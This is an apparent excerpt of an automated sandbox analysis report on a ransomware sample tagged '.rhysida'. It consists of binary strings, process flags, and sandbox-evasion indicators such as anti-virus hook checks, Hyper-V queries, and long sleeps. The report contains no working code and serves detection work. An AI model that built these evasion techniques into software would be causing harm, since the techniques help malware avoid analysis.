Source:	Binary string: ntkrnlmp.pdb\| source: 5PPbtKZ2hR.exe, 00000000.00000002.4512986246.00000000038BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb.rhysida} source: 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysida0 source: 5PPbtKZ2hR.exe, 00000000.00000002.4516141971.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysidavq source: 5PPbtKZ2hR.exe, 00000000.00000002.4518809313.000000000420D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbF) source: 5PPbtKZ2hR.exe, 00000000.00000002.4515745778.0000000003D41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbB source: 5PPbtKZ2hR.exe, 00000000.00000002.4518893394.0000000004221000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbD source: 5PPbtKZ2hR.exe, 00000000.00000002.4518427650.0000000004161000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb"6 source: 5PPbtKZ2hR.exe, 00000000.00000002.4513315121.0000000003943000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: 5PPbtKZ2hR.exe, 00000000.00000002.4513064003.00000000038D3000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516796258.0000000003EEA000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517550788.0000000004016000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514467375.0000000003B48000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512436873.00000000037FC000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518427650.0000000004161000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4511920811.000000000373F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520632319.0000000004C25000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520005966.0000000004B7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513684752.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514111018.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512663493.0000000003832000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512986246.00000000038BF000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516425653.0000000003E3F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4519472896.0000000004AB2000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4512006029.000000000376B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516087805.0000000003DB0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521209132.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517176752.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517911824.00000000040A3000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514787569.0000000003BE0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518893394.0000000004221000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513315121.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521872220.0000000004D5E000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515745778.0000000003D41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdbs}R source: 5PPbtKZ2hR.exe, 00000000.00000002.4517550788.0000000004016000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysida@ source: 5PPbtKZ2hR.exe, 00000000.00000002.4517075815.0000000003F57000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysidaB source: 5PPbtKZ2hR.exe, 00000000.00000002.4515242613.0000000003C93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: 5PPbtKZ2hR.exe, 00000000.00000002.4516425653.0000000003E3F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb# source: 5PPbtKZ2hR.exe, 00000000.00000002.4514111018.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysidaF source: 5PPbtKZ2hR.exe, 00000000.00000002.4517760677.0000000004075000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdbu` source: 5PPbtKZ2hR.exe, 00000000.00000002.4512436873.00000000037FC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb( source: 5PPbtKZ2hR.exe, 00000000.00000002.4521209132.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbw` source: 5PPbtKZ2hR.exe, 00000000.00000002.4512436873.00000000037FC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbc source: 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbe source: 5PPbtKZ2hR.exe, 00000000.00000002.4516796258.0000000003EEA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysidaPb& source: 5PPbtKZ2hR.exe, 00000000.00000002.4517497852.0000000003FFB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb.rhysida source: 5PPbtKZ2hR.exe, 00000000.00000002.4517550788.0000000004016000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514467375.0000000003B48000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518427650.0000000004161000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520632319.0000000004C25000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4520005966.0000000004B7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513684752.0000000003A0F000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514111018.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4519472896.0000000004AB2000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4516087805.0000000003DB0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521209132.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515184756.0000000003C7D000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517176752.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4517911824.00000000040A3000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4514787569.0000000003BE0000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4518893394.0000000004221000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4513315121.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521872220.0000000004D5E000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4515745778.0000000003D41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb( source: 5PPbtKZ2hR.exe, 00000000.00000002.4512986246.00000000038BF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb.rhysidaHL source: 5PPbtKZ2hR.exe, 00000000.00000002.4520632319.0000000004C25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbj source: 5PPbtKZ2hR.exe, 00000000.00000002.4521209132.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb.rhysidaV source: 5PPbtKZ2hR.exe, 00000000.00000002.4514467375.0000000003B48000.00000004.00000020.00020000.00000000.sdmp

Source: 5PPbtKZ2hR.exe

Static PE information: section name: .xdata

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Acrobat.exe, 0000000B.00000000.3933688254.0000021B7C5BA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK.DLL

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-client-migration-replacement.man	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-drivers-migration-replacement.man	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-migration-replacement.man	Jump to behavior

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe

Window / User API: threadDelayed 6837

Jump to behavior

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe TID: 6292	Thread sleep count: 6837 > 30			Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe TID: 6292	Thread sleep time: -68370s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe

Code function: 0_2_00419018 GetSystemInfo,GetSystemInfo,malloc,malloc,Sleep,Sleep,free,free,free,system,system,

0_2_00419018

Source: wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/AdminLMEM`p3
Source: 5PPbtKZ2hR.exe, 00000000.00000002.4510690674.00000000034D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-drivers-migration-replacement.manH
Source: wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167860626.000002E3F7E42000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-OperationalLMEMh83
Source: wevtutil.exe, 00000018.00000003.4169066415.000002E3F7EA1000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168503361.000002E3F7E9D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169208338.000002E3F7EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/AdminicalyticDiagnosticnale/AnalyticalDJ[
Source: 5PPbtKZ2hR.exe, 00000000.00000002.4510690674.00000000034D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-client-migration-replacement.man8
Source: 5PPbtKZ2hR.exe, 00000000.00000002.4510690674.00000000034D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft-hyper-v-migration-replacement.man
Source: wevtutil.exe, 00000018.00000003.4170533921.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170818298.000002E3F7E6D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170724571.000002E3F7E5C000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170629369.000002E3F7E58000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170775616.000002E3F7E65000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169304856.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168917854.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-Adminp`
Source: wevtutil.exe, 00000018.00000003.4170533921.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170818298.000002E3F7E6D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170724571.000002E3F7E5C000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170629369.000002E3F7E58000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170775616.000002E3F7E65000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169304856.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168917854.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Analytic
Source: wevtutil.exe, 00000018.00000003.4169066415.000002E3F7EA1000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168503361.000002E3F7E9D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169208338.000002E3F7EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-Analyticticer/DebugyticDiagnosticnale/Analytical
Source: wevtutil.exe, 00000018.00000003.4170533921.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170818298.000002E3F7E6D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170724571.000002E3F7E5C000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170629369.000002E3F7E58000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170775616.000002E3F7E65000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169304856.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168917854.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-Operational
Source: wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167860626.000002E3F7E42000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/AnalyticLMEMhh3
Source: wevtutil.exe, 00000018.00000003.4171130532.000002E3F7E79000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170533921.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170818298.000002E3F7E6D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170724571.000002E3F7E5C000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170629369.000002E3F7E58000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170907125.000002E3F7E72000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170775616.000002E3F7E65000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169304856.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-Admin-
Source: wevtutil.exe, 00000018.00000003.4169066415.000002E3F7EA1000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168503361.000002E3F7E9D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169208338.000002E3F7EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-Adminicticer/DebugyticDiagnosticnale/AnalyticallE
Source: wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-AdminLMEMH(3
Source: wevtutil.exe, 00000018.00000003.4169066415.000002E3F7EA1000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168503361.000002E3F7E9D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169208338.000002E3F7EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-AnalyticalugyticDiagnosticnale/Analytical~E
Source: wevtutil.exe, 00000018.00000003.4169066415.000002E3F7EA1000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168503361.000002E3F7E9D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169208338.000002E3F7EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/DebugsealyticDiagnosticnale/Analytical
Source: wevtutil.exe, 00000018.00000003.4171130532.000002E3F7E79000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170533921.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170818298.000002E3F7E6D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170724571.000002E3F7E5C000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170629369.000002E3F7E58000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170907125.000002E3F7E72000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170775616.000002E3F7E65000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169304856.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-Analytic
Source: Acrobat.exe, 0000000B.00000002.4264481956.0000021B7FDAE000.00000004.00000001.00020000.00000000.sdmp, Acrobat.exe, 0000000B.00000000.3938137497.0000021B7FDAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: wevtutil.exe, 00000018.00000003.4170533921.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170818298.000002E3F7E6D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170724571.000002E3F7E5C000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170629369.000002E3F7E58000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170775616.000002E3F7E65000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169304856.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168917854.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Diagnose
Source: wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167803797.000002E3F7E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-AnalyticLMEM`@3
Source: wevtutil.exe, 00000018.00000003.4170533921.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170818298.000002E3F7E6D000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170724571.000002E3F7E5C000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168008449.000002E3F7E4F000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170629369.000002E3F7E58000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167698389.000002E3F7E41000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4167580925.000002E3F7E3E000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4170775616.000002E3F7E65000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4169304856.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 00000018.00000003.4168917854.000002E3F7E52000.00000004.00000020.00020000.00000000.sdmp, wevtutil.exe, 